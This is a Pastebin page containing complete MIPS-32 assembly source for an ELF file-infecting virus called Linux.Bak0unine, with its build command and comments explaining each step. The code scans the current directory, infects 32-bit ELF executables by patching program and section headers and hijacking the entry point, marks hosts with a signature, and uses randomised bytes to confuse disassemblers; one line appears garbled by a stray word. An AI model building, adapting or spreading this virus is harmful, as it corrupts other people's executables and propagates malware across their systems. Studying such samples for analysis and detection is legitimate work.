Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##############################################################
- ## A MIPS-32 ELF non-resident virus with false disassembly ##
- ## Made with love by S01den (@s01den) ##
- ## From the tmp.0ut crew ! ##
- ## 01/2021 ##
- ##############################################################
- # .____ .__ ________ ________ _____ ._____________ _________ __________ __ .__
- # | | |__| ____ \_____ \ \_____ \ / \ | \______ \/ _____/ \______ \_____ | | ____ __ ____ |__| ____
- # | | | |/ \ _(__ < / ____/ / \ / \| || ___/\_____ \ | | _/\__ \ | |/ / | \/ \| |/ \
- # | |___| | | \/ \/ \ / Y \ || | / \ | | \ / __ \| <| | / | \ | | \
- # |_______ \__|___| /______ /\_______ \ /\ \____|__ /___||____| /_______ / /\ |______ /(____ /__|_ \____/|___| /__|___| /
- # \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
- # build command: mips-as Linux.Bak0unine.asm -o bak.o ; mips-ld bak.o -o bak
- # ---------------------------- CUT-HERE ----------------------------
- .text
- .global _start
- _start:
- # - start of the prolog - #
- # first of all, we have to mmap an executable area in memory where we can copy the aligned code
- sw $zero,20($sp)
- li $v0,0
- sw $v0,16($sp)
- li $a0, 0
- li $a1, 0x6a8
- li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC
- li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE
- li $v0, 4210 # sys_mmap2
- syscall
- bgezal $zero, get_pc
- add $t1, $t1, 0x6f # 0x = the number of bytes to reach true_start
- move $t2, $v0
- li $t0, 0
- .get_vx: # copy the virus body in the memory region we've just mapped
- lb $t3, 0($t1)
- sb $t3, 0($t2)
- addi $t0, $t0, 1
- addi $t1, $t1, 1
- addi $t2, $t2, 1
- blt $t0, 0x615, .get_vx
- jal $v0 # jump to the mmaped region
- beq $zero, $zero, eof
- get_pc:
- move $t1, $ra
- jr $ra
- eof:
- li $a0, 2
- li $v0, 4001 # sys_exit
- syscall
- .ascii "\xac\xab\xac\xab" # Because the code to get to the OEP is larger than eof, we have to make padding
- .ascii "\xac\xab\xac\xab"
- .ascii "\xac\xab\xac\xab"
- .ascii "\xac\xab\xac\xab"
- .ascii "\xac\xab\xac\xab"
- .ascii "\xac\xab\xac\xab"
- .ascii "\xeb\x01\xe8" # false-disas bytes; different for every new infection
- # - end of the prolog - #
- # - The beginning of the virus body - #
- true_start:
- addi $gp, $ra, 64
- move $v1, $sp
- sub $sp, $sp, 0x1000
- move $a0, $sp
- li $a1, 0xff
- li $v0, 4203 # sys_getcwd
- syscall
- move $a0, $sp
- li $a1, 0
- li $a2, 0
- li $v0, 4005 # sys_open
- syscall
- blt $v0, 0, payload # exit if return code of sys_open is < 0
- move $a0, $v0
- move $a1, $sp
- li $a2, 1024
- li $v0, 4219 # sys_getdents64
- syscall
- move $s1, $v0 # store the result (the number of entries) in $s1
- li $v0, 4006 # sys_close
- syscall
- li $s0, 0 # s0 will be our counter
- parse_dir:
- move $s2, $sp # s2 will contain the address of the filename
- addi $s2, $s2, 0x13 # d_name
- li $t1, 0
- addi $t1, $sp, 0x12
- lb $t1, 0($t1) # t1 now contains the type of the entry (file or dir)
- bgezal $zero, infect
- li $t9, 0
- addi $t9, $sp, 0x10 # get d_reclen (see the organization of the dirent64 structure...)
- lb $t0, 1($t9) # the buffer position += d_reclen
- add $s0, $s0, $t0
- add $sp, $sp, $t0
- blt $s0, $s1, parse_dir # if counter < nbr of entries : jmp to parse_dir
- beq $zero, $zero, payload
- infect:
- ############## REGISTER TABLE ##############
- ## $s0 = counter of entries ##
- ## $s1 = the number of entries ##
- ## $s2 = the addr of the filename we treat##
- ## $s3 = the addr of the stack before jal ##
- ## $s4 = the fd of the potential host ##
- ## $s5 = the addr returned by mmap ##
- ## $s6 = OEP ##
- ## $s7 = virtual addr of the vx = new EP ##
- ## $t9 = length of the file ##
- ############################################
- move $s3, $sp
- sub $sp, $sp, 0x100
- bne $t1, 0x8, end # if the name we've got isn't a filename, return to parse_dir
- li $v0, 4005
- move $a0, $s2
- li $a1, 0x402 # RW mode
- li $a2, 0
- syscall # sys_open
- bgt $v0, 0x10, end # if the openning failed : jmp to parse_dir
- move $s4, $v0
- move $a0, $s4
- move $a1, $sp
- li $v0, 4108 # sys_fstat (to know the length of the file we're trying to infect)
- syscall
- lw $t9, 48($sp)
- # I didn't know how to pass more than 4 arguments (the registers $a0...$a3), so I made a simple program that use mmap()
- # and disassembled it to see how mmap was called, that's where I've got the 3 following lines
- sw $zero,20($sp)
- li $v0,3
- sw $v0,16($sp)
- li $a0, 0
- move $a1, $t9
- li $a2, 6
- li $a3, 1
- li $v0, 4210 # sys_mmap2 (to map the content of the file in memory)
- syscall
- move $s5, $v0
- .check_magic:
- lw $t0, 0($s5)
- li $t1, 0x7f454c46 # Check if the file is an ELF (by checking the magic bytes)
- bne $t0, $t1, end
- .check_bits:
- lb $t0, 4($s5)
- bne $t0, 1, end # here, we check e_ident[EI_CLASS], to know if the ELF we're trying to infect is 32 or 64-bit (if it's 64-bit, goto end)
- .check_signature:
- lw $t0, 9($s5) # the signature is located in e_hdr.padding, such as in Lin64.Kropotkine
- beq $t0, 0xdeadc0de, end
- .infection:
- lh $t0, 0x2c($s5) # load e_phnum in $t0
- li $t1, 0 # the counter of program headers
- lw $t5, 0x1c($s5) # load e_phoff in $t2
- .search_phdr: # in this sub-routine, we're looking for the segment which contains .text
- lh $t3, 0x2a($s5) # load e_phentsize in $t3
- mult $t3, $t1
- mflo $t3
- add $t3, $t3, $t5
- add $t2, $s5, $t3
- lw $t3, 0($t2) # load p_type in $t3
- bne $t3, 1, .end_loop_search_t # 1 = PT_LOAD so here we check if the segment is loadable
- lw $t3, 0x18($t2) # load p_flags in $t3
- bne $t3, 5, .end_loop_search_t # 5 = PT_X | PT_R so here we check if the segment is readable and executable
- # if we're here, we've found the right phdr
- lw $t3, 0x4($t2) # load p_offset in $t3
- lw $t4, 0x10($t2) # load p_filesz in $t4
- add $s6, $t3, $t4 # end_of_.text = offset_.text + length_.text
- lw $t3, 0x8($t2) # load p_vaddr in $t3
- add $s7, $t3, $t4 # virtual addr of the start of the vx body = virtual addr of the end of .text so vaddr_vx = vaddr_.text + length_.text
- lw $t3, 0x18($s5) # save the original entry point in $t8
- sw $s7, 0x18($s5) # patch the entry point with vaddr_vx
- move $s7, $t3
- # -- add to p_filesz the size of the vx --
- lw $t3, 0x10($t2)
- addi $t3, $t3, 0x6a8
- sw $t3, 0x10($t2)
- # -- add to p_memsz the size of the vx --
- lw $t3, 0x14($t2)
- addi $t3, $t3, 0x6a8
- sw $t3, 0x14($t2)
- # -- insert the signature of the vx --
- li $t3, 0xdeadc0de
- sw $t3, 0x9($s5)
- addi $t1, $t1, 1
- # in this routine we'll patch the lasts phdr to take into account the size of the vx
- .increase_sizeof_phdr:
- lh $t3, 0x2a($s5) # load e_phentsize in $t3
- mult $t3, $t1
- mflo $t3
- add $t3, $t3, $t5
- add $t2, $s5, $t3
- # increase p_offset
- lw $t3, 4($t2)
- addi $t3, $t3, 4096 # add PAGE_SZ32 to p_offset
- sw $t3, 4($t2)
- addi $t1, $t1, 1
- blt $t1, $t0, .increase_sizeof_phdr
- beq $zero, $zero, .search_shdr
- .end_loop_search_t:
- addi $t1, $t1, 1
- blt $t1, $t0, .search_phdr
- .search_shdr:
- lh $t0, 0x30($s5) # load e_shnum in $t0
- li $t1, 0 # the counter of section headers
- lw $t5, 0x20($s5) # load e_shoff in $t2
- .loop_shdr:
- lh $t3, 0x2e($s5) # load e_shentsize in $t3
- mult $t3, $t1
- mflo $t3
- add $t3, $t3, $t5
- add $t2, $s5, $t3
- lw $t3, 0x10($t2) # sh_offset
- bgt $t3, $s6, .section_after_txt_end
- lw $t3, 0x14($t2) # sh_size
- lw $t4, 0x0C($t2) # sh_addr
- add $t4, $t4, $t3
- beq $t4, $s6, .section_of_vx
- .end_loop_shdr:
- addi $t1, $t1, 1
- blt $t1, $t0, .loop_shdr
- beq $zero, $zero, .end_infection
- .section_after_txt_end:
- addi $t3, $t3, 4096 # add PAGE_SZ32 to sh_offset
- sw $t3, 0x10($t2)
- beq $zero, $zero, .end_loop_shdr
- .section_of_vx:
- addi $t3, $t3, 0x6a8 # <- add the vx size to sh_size
- sw $t3, 0x14($t2)
- beq $zero, $zero, .end_loop_shdr
- .end_infection:
- # -- add to e_shoff the size of a 32 bit page (because the section header table is located at the end of the file) --
- lw $t0, 0x20($s5)
- addi $t0, $t0, 4096
- sw $t0, 0x20($s5)
- move $a0, $s5
- move $a1, $t9
- li $a2, 0
- li $v0, 4144
- syscall # sys_msync, to apply the change to the file
- sub $sp, $sp, 0x6a8 # <- make room in the stack for the vx bytes
- move $t7, $ra
- li $t0, 0
- move $t2, $sp
- # copy the prolog of the virus (and change randomly the bytes)
- # ---- the code to hardcode ----
- # afa00014 sw zero, 0x14(sp)
- # 24020000 addiu v0, zero, 0
- # afa20010 sw v0, 0x10(sp)
- # 24040000 addiu a0, zero, 0
- # 240506a8 addiu a1, zero, 0x6a8
- # 24060007 addiu a2, zero, 7
- # 24070802 addiu a3, zero, 0x802
- # 24021072 addiu v0, zero, 0x1072
- # 0000000c syscall
- # 04110011 bal loc.get_pc
- # 00000000 nop
- # 2129006f addi t1, t1, 0x6f
- # 00405025 move t2, v0
- # 24080000 addiu t0, zero, 0
- # -- .get_vx:
- # 812b0000 lb t3, (t1)
- # 00000000 nop
- # a14b0000 sb t3, (t2)
- # 21080001 addi t0, t0, 1
- # 21290001 addi t1, t1, 1
- # 214a0001 addi t2, t2, 1
- # 29010615 slti at, t0, 0x615
- # 1420fff8 bnez at, loc..get_vx
- # 00000000 nop
- # 0040f809 jalr v0
- # 00000000 nop
- # 10000003 b loc.eof
- # 00000000 nop
- # -- get_pc:
- # 03e00008 jr ra
- # 03e04825 move t1, ra
- # ------------------------------
- li $t3, 0xafa00014
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x24020000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0xafa00010
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x24040000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x240506a8
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x24060007
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x24070802
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x24021072
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x0000000c
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x0411000f
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00000000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x2129006f
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00405025
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x24080000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x812b0000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00000000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0xa14b0000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x21080001
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x21290001
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x214a0001
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x29010615
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x1420fff8
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00000000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00400008
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00000000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x03e00008
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x03e04825
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- # ---- the code to hardcode ----
- # 0411fff5 bal get_pc
- # 00000000 nop
- # 2129fc70 addi t1, t1, -0x390
- # 3401dead ori at, zero, 0xdead
- # 01214822 sub t1, t1, at
- # 2129beef addi t1, t1, -0x4111
- # 0060e825 move sp, v1
- # 01200008 jr t1
- # ------------------------------
- # here we're writting the code to ret2OEP despite the PIE
- li $t3, 0x0411fffd
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00000000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x2129ff8c
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x3401
- sh $t3, 0($t2)
- addi $t2, $t2, 2
- move $t3, $s6
- sh $t3, 0($t2)
- addi $t2, $t2, 2
- li $t3, 0x01214822
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x2129
- sh $t3, 0($t2)
- addi $t2, $t2, 2
- move $t3, $s7
- sh $t3, 0($t2)
- addi $t2, $t2, 2
- li $t3, 0x0060e825
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x01200008
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- li $t3, 0x00000000
- sw $t3, 0($t2)
- addi $t2, $t2, 4
- nop
- xor $v0, $t2, 0xdead # thanks to the aslr, t2 is random \o/ so we use it as a seed to randomize the bytes which make the false disassembly
- move $t3, $v0
- sw $t3, 0($t2)
- architectures)
- addi $t2, $t2, 3 # (I'm writing a paper on this... ;))
- bgezal $zero, get_pc_2
- sub $t1, $t1, 0x530 # 0x530 = the number of bytes before this routine in the virus body
- .get_vx_2:
- lb $t3, 0($t1)
- sb $t3, 0($t2)
- addi $t0, $t0, 1
- addi $t1, $t1, 1
- addi $t2, $t2, 1
- blt $t0, 0x615, .get_vx_2 # 0x611 = the size of the virus body
- move $ra, $t7
- move $a0, $s4
- lw $a1, 0x20($s5)
- li $a2, 0 # SEEK_SET
- li $v0, 4019 # sys_lseek
- syscall # here, we seek after the future vx code
- move $a0, $s4
- lw $t0, 0x20($s5)
- sub $t0, $t0, 4096
- add $a1, $s5, $t0
- move $a2, $t9
- sub $a2, $a2, $t0 # len of host - text_end = length of the end of the file
- li $v0, 4004 # sys_write
- syscall
- move $a0, $s4
- move $a1, $s6
- li $a2, 0 # SEEK_SET
- li $v0, 4019 # sys_lseek
- syscall
- move $a0, $s4
- move $a1, $sp
- li $a2, 4096 # len = PAGE_SZ32
- li $v0, 4004 # sys_write
- syscall
- move $a0, $s5
- move $a1, $t9
- li $a2, 0
- li $v0, 4091
- syscall # sys_munmap
- end:
- move $a0, $s4
- li $v0, 4006 # sys_close
- syscall
- move $sp, $s3
- jr $ra
- get_pc_2:
- move $t1, $ra
- jr $ra
- payload:
- li $a0, 0
- li $t0, 0x585f580a # X_X
- sw $t0, 0($sp)
- move $a1, $sp
- li $a2, 4
- li $v0, 4004 # sys_write
- syscall
- jr $gp
- # - end of the virus body - #
- # ---------------------------- CUT-HERE ----------------------------
- # ___________ __
- # \__ ___/____ ______ ____ __ ___/ |_
- # | | / \\____ \ / _ \| | \ __\
- # | || Y Y \ |_> > ( <_> ) | /| |
- # |____||__|_| / __/ /\ \____/|____/ |__|
- # \/|__| \/
- #
- # --> Stay tuned...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement